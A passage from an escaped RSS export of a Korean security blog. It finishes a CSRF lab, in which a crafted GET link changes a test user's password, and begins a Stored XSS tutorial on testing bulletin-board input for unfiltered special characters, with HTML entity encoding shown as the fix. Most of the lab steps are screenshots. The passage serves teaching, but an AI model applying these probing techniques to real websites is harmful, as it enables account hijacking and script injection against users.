&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 주소를 입력하고 접근 해보면 다음과 같이 패스워드가 변경되는 것을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;932&quot; data-origin-height=&quot;424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o3MmA/btsOlViO2a0/is9LtAKUgkHBLSWfHLPHL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o3MmA/btsOlViO2a0/is9LtAKUgkHBLSWfHLPHL1/img.png&quot; data-alt=&quot;링크에 접속했더니 비밀번호가 변경됨.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o3MmA/btsOlViO2a0/is9LtAKUgkHBLSWfHLPHL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo3MmA%2FbtsOlViO2a0%2Fis9LtAKUgkHBLSWfHLPHL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;666&quot; height=&quot;303&quot; data-origin-width=&quot;932&quot; data-origin-height=&quot;424&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;링크에 접속했더니 비밀번호가 변경됨.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정말로 비번이 바뀌었는지 확인하기 위해서 기존 비밀번호인 1234를 입력하고 로그인을 시도하면 다음과 같이 로그인에 실패하는 것을 볼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/epp858/btsOnqpsRjW/pLQnbwKNQJEoqNM1bxjhE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/epp858/btsOnqpsRjW/pLQnbwKNQJEoqNM1bxjhE0/img.png&quot; width=&quot;544&quot; height=&quot;312&quot; data-origin-width=&quot;913&quot; data-origin-height=&quot;524&quot; data-is-animation=&quot;false&quot; style=&quot;width: 45.4903%; margin-right: 10px;&quot; data-widthpercent=&quot;46.03&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/epp858/btsOnqpsRjW/pLQnbwKNQJEoqNM1bxjhE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fepp858%2FbtsOnqpsRjW%2FpLQnbwKNQJEoqNM1bxjhE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;913&quot; height=&quot;524&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dPQVj9/btsOnt7F2VG/uUidKQGT4gJcfuyrQfabNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dPQVj9/btsOnt7F2VG/uUidKQGT4gJcfuyrQfabNK/img.png&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;462&quot; data-is-animation=&quot;false&quot; width=&quot;482&quot; height=&quot;236&quot; style=&quot;width: 53.3469%;&quot; data-widthpercent=&quot;53.97&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dPQVj9/btsOnt7F2VG/uUidKQGT4gJcfuyrQfabNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdPQVj9%2FbtsOnt7F2VG%2FuUidKQGT4gJcfuyrQfabNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;462&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;원래 비밀번호로 로그인 시도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 바뀐 비밀번호인 change를 입력하고 로그인을 시도해 보면 정말로 비밀번호가 바뀐 것을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ezv5T/btsOopKka6J/O8yO9y7wnZlU7luXBxLduK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ezv5T/btsOopKka6J/O8yO9y7wnZlU7luXBxLduK/img.png&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;369&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;45.1&quot; style=&quot;width: 44.5775%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ezv5T/btsOopKka6J/O8yO9y7wnZlU7luXBxLduK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEzv5T%2FbtsOopKka6J%2FO8yO9y7wnZlU7luXBxLduK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;369&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AmVfI/btsOocxEwOs/HDI9sqcE1BYRJVbBDolSd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AmVfI/btsOocxEwOs/HDI9sqcE1BYRJVbBDolSd0/img.png&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;443&quot; data-is-animation=&quot;false&quot; style=&quot;width: 54.2597%;&quot; data-widthpercent=&quot;54.9&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AmVfI/btsOocxEwOs/HDI9sqcE1BYRJVbBDolSd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAmVfI%2FbtsOocxEwOs%2FHDI9sqcE1BYRJVbBDolSd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;443&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;바뀐 비밀번호로 로그인 시도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹사이트 사용자가 누군가가 보낸 URL 링크에 접속했을 때 위 과정처럼 비밀번호를 변경하는 주소였다면 사용자는 링크에 접속하는 것만으로도 비밀번호가 변경되게 됩니다. &lt;b&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;이처럼 사용자의 요청을 위조하여 자신의 의지와 무관하게 공격자가 의도한 행위를 하도록 하는 것이 CSRF 공격입니다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지 실습 과정을 통해 GET Method를 통한 CSRF 공격을 살펴봤습니다. 만약 GET Method를 사용할 수 없다면 다른 방법을 사용해야 하는데 그 방법은 다른 글에서 찾아뵙도록 하겠습니다.&lt;/p&gt;</description>
      <category>[WEB] 모의해킹/CSRF</category>
      <category>Cross-site request forgery</category>
      <category>CSRF</category>
      <category>CSRF 공격</category>
      <category>사이트 간 요청 위조</category>
      <category>정보보안</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/8</guid>
      <comments>https://code000.tistory.com/entry/%F0%9F%93%8CCSRF-Cross-Site-Request-Forgery#entry8comment</comments>
      <pubDate>Tue, 3 Jun 2025 17:29:33 +0900</pubDate>
    </item>
    <item>
      <title>XSS (Cross-Site Scripting)</title>
      <link>https://code000.tistory.com/entry/XSS</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;|&lt;/b&gt; XSS&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;임의의 스크립트를 삽입하여 이용자의 브라우저에서 실행시키는 공격. (클라이언트 측)&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;i&gt;*** XSS는 웹 브라우저에서 실행되는 코드에 의해 발생하기 때문에 클라이언트 측 공격입니다.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;|&amp;nbsp;&lt;/b&gt;XSS - 종류&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Stored XSS&lt;/li&gt;
&lt;li&gt;Reflected XSS&lt;/li&gt;
&lt;li&gt;DOM-based XSS&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;|&amp;nbsp;&lt;/b&gt;XSS 취약점이 발생하는 곳.&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;❗데이터가 저장되고, 출력되는 곳&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 게시판 글 작성, 회원가입 등등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 정리하면 사용자가 작성한 데이터가 화면에 응답이 되고 있다면 XSS 취약점을 확인해 봐야 합니다. 이번 글에선 XSS 종류 중 Stored XSS에 해당하는 내용들을 알아가 보면서 XSS가 무엇인지 알아보겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;▶️Stored XSS&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;서버에 스크립트를 저장한 뒤, 스크립트가 포함된 페이지 요청 시 실행되는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt; Stored XSS 찾아보기&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;작성한 데이터가 화면에 응답 되는지 확인.&lt;/li&gt;
&lt;li&gt;특수문자 체크&lt;/li&gt;
&lt;li&gt;Javascript&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS를 찾는 방법을 순서대로 정리했습니다. 해당 과정을 통해 XSS 취약점을 찾을 수 있는데 간단한 실습을 통해&amp;nbsp;&lt;br /&gt;Stored XSS 취약점을 어떻게 찾고 무엇인지에 대해서 알아보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1️⃣ 작성한 데이터가 화면에 응답 되는지 확인.&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 어떤 웹 사이트에서 글을 작성할 수 있는 기능이 있는 상황입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjwwQF/btsNGZso7dP/yPc1hGK4tJGJJksZw63AzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjwwQF/btsNGZso7dP/yPc1hGK4tJGJJksZw63AzK/img.png&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;838&quot; data-is-animation=&quot;false&quot; width=&quot;450&quot; height=&quot;400&quot; style=&quot;width: 48.8559%; margin-right: 10px;&quot; data-widthpercent=&quot;49.43&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjwwQF/btsNGZso7dP/yPc1hGK4tJGJJksZw63AzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjwwQF%2FbtsNGZso7dP%2FyPc1hGK4tJGJJksZw63AzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;838&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4YxLW/btsNHtmbGLt/ZppMwZ9kcDgVCKBijrI1dK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4YxLW/btsNHtmbGLt/ZppMwZ9kcDgVCKBijrI1dK/img.png&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;820&quot; data-is-animation=&quot;false&quot; width=&quot;450&quot; height=&quot;391&quot; style=&quot;width: 49.9813%;&quot; data-widthpercent=&quot;50.57&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4YxLW/btsNHtmbGLt/ZppMwZ9kcDgVCKBijrI1dK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4YxLW%2FbtsNHtmbGLt%2FZppMwZ9kcDgVCKBijrI1dK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;820&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;게시판에서 사용자가 글을 작성하는 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판에서 글을 작성할 때 위와 같이 글을 작성하게 될 텐데&amp;nbsp; 이제 글을 생성하고 해당 게시물에 접속을 하여 사용자가 입력한 데이터가 화면에 출력되는지 확인합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;419&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cyIPmo/btsNFYusZL1/fCK0mKWN0NkNjGgMxpEbBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cyIPmo/btsNFYusZL1/fCK0mKWN0NkNjGgMxpEbBk/img.png&quot; data-alt=&quot;글 생성되었을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cyIPmo/btsNFYusZL1/fCK0mKWN0NkNjGgMxpEbBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcyIPmo%2FbtsNFYusZL1%2FfCK0mKWN0NkNjGgMxpEbBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;244&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;419&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;글 생성되었을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;378&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QAOWA/btsNHr9UdV3/TWCwnQhOKrkqiNaXdkrbp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QAOWA/btsNHr9UdV3/TWCwnQhOKrkqiNaXdkrbp1/img.png&quot; data-alt=&quot;생성된 게시물에 접속했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QAOWA/btsNHr9UdV3/TWCwnQhOKrkqiNaXdkrbp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQAOWA%2FbtsNHr9UdV3%2FTWCwnQhOKrkqiNaXdkrbp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;220&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;378&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;생성된 게시물에 접속했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 작성한 게시물에 접속을 해보면 입력했던 데이터가 화면에 출력되고 있는 것을 볼 수 있습니다. &lt;b&gt;이런 경우에 이제 XSS 취약점을 확인해 봐야 합니다. &lt;/b&gt;1번 단계를 끝냈으니 2번 단계로 넘어가겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2️⃣ 특수문자 체크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #222225; text-align: start;&quot;&gt;2번 과정에서는 특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 해당 특수문자가 어떠한 필터링이 없이 그대로 사용되고 있는지 확인을 하게 됩니다. 각 특수문자들은 HTML 태그 기능을 수행할 수 있도록 해주는 특수문자이며 스크립트 삽입할 때 HTML 태그 기능을 사용해야 하기 때문에 먼저 체크를 하는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bo7O4c/btsNGK98ixx/WVH8dAMy0iz8GREx0OqNR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bo7O4c/btsNGK98ixx/WVH8dAMy0iz8GREx0OqNR0/img.png&quot; data-alt=&quot;게시글 생성 시 특수문자 4개 삽입&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo7O4c/btsNGK98ixx/WVH8dAMy0iz8GREx0OqNR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbo7O4c%2FbtsNGK98ixx%2FWVH8dAMy0iz8GREx0OqNR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;264&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;498&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;게시글 생성 시 특수문자 4개 삽입&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특수 문자를 삽입한 글을 생성한 후에 게시물에 접속을 해보면 다음과 같습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhCKRX/btsNGZFUeHL/o77wK4beKWo4A7hbsIE871/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhCKRX/btsNGZFUeHL/o77wK4beKWo4A7hbsIE871/img.png&quot; data-alt=&quot;특수문자 삽입한 게시물에 접속했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhCKRX/btsNGZFUeHL/o77wK4beKWo4A7hbsIE871/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdhCKRX%2FbtsNGZFUeHL%2Fo77wK4beKWo4A7hbsIE871%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;284&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;536&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;특수문자 삽입한 게시물에 접속했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #222225; text-align: start;&quot;&gt;특수문자가 화면에 출력되고 있지만 이 과정에서는 소스코드를 확인하여 어떠한 필터링이 작용되고 있는지 아닌지 확인을 해야 합니다. (저는 Burp Suite를 사용해서 확인했습니다.)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;273&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQJn5m/btsNFWpZqXS/8Fk8cakTYxBUgznJ9DAL61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQJn5m/btsNFWpZqXS/8Fk8cakTYxBUgznJ9DAL61/img.png&quot; data-alt=&quot;특수문자 삽입한 게시물에 접속했을 때 응답 데이터&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQJn5m/btsNFWpZqXS/8Fk8cakTYxBUgznJ9DAL61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQJn5m%2FbtsNFWpZqXS%2F8Fk8cakTYxBUgznJ9DAL61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;196&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;273&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;특수문자 삽입한 게시물에 접속했을 때 응답 데이터&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;빨간색 박스&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;부분을 보면 특수문자 &amp;lt;, ', &quot;, &amp;gt;가 그대로 사용되고 있는 것을 알 수 있습니다. 앞서 말한 것처럼 해당 특수문자들을 가지고 HTML 태그 기능을 수행할 수 있다고 말했었습니다. 이렇게 2번 과정은 특수문자가 그대로 사용되고 있는지를 체크하게 됩니다.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;  비교를 위해 만약 어떠한 필터링이 작용해서 특수문자를 사용할 수 없는 상황도 확인해 보겠습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;195&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcKkV0/btsNGA01msP/UcCmToOrjr1Hk8zq2z4wRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcKkV0/btsNGA01msP/UcCmToOrjr1Hk8zq2z4wRK/img.png&quot; data-alt=&quot;특수문자 &amp;amp;lt;, ', &amp;quot;, &amp;amp;gt;이 어떠한 필터링으로 인해 다른 기호들로 바뀐 상황&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcKkV0/btsNGA01msP/UcCmToOrjr1Hk8zq2z4wRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcKkV0%2FbtsNGA01msP%2FUcCmToOrjr1Hk8zq2z4wRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;179&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;195&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;특수문자 &amp;lt;, ', &quot;, &amp;gt;이 어떠한 필터링으로 인해 다른 기호들로 바뀐 상황&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #222225; text-align: start;&quot;&gt;바로 위 사진을 특수 문자들이 HTML Entity로 치환이 된 상황입니다. HTML Entity는 XSS 대응 방안 중 하나입니다. 해당 사진은 삽입했던 특수문자가 &lt;b&gt;어떠한 대응 방안 때문에 다른 문자들로 치환이 되었고 이로 인해 태그 기능을 사용할 수 없단 것을 보여드리기 위해서&lt;/b&gt;입니다. 바로 아래 표는 각 특수기호가 어떠한 HTML Entity로 치환되었는지 간단하게 적었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; 참고&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 70.1163%; height: 68px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; text-align: center; height: 17px;&quot;&gt;&amp;lt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; text-align: center; height: 17px;&quot;&gt;&amp;amp;lt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; text-align: center; height: 17px;&quot;&gt;&amp;gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; text-align: center; height: 17px;&quot;&gt;&amp;amp;gt;&lt;/td&gt;
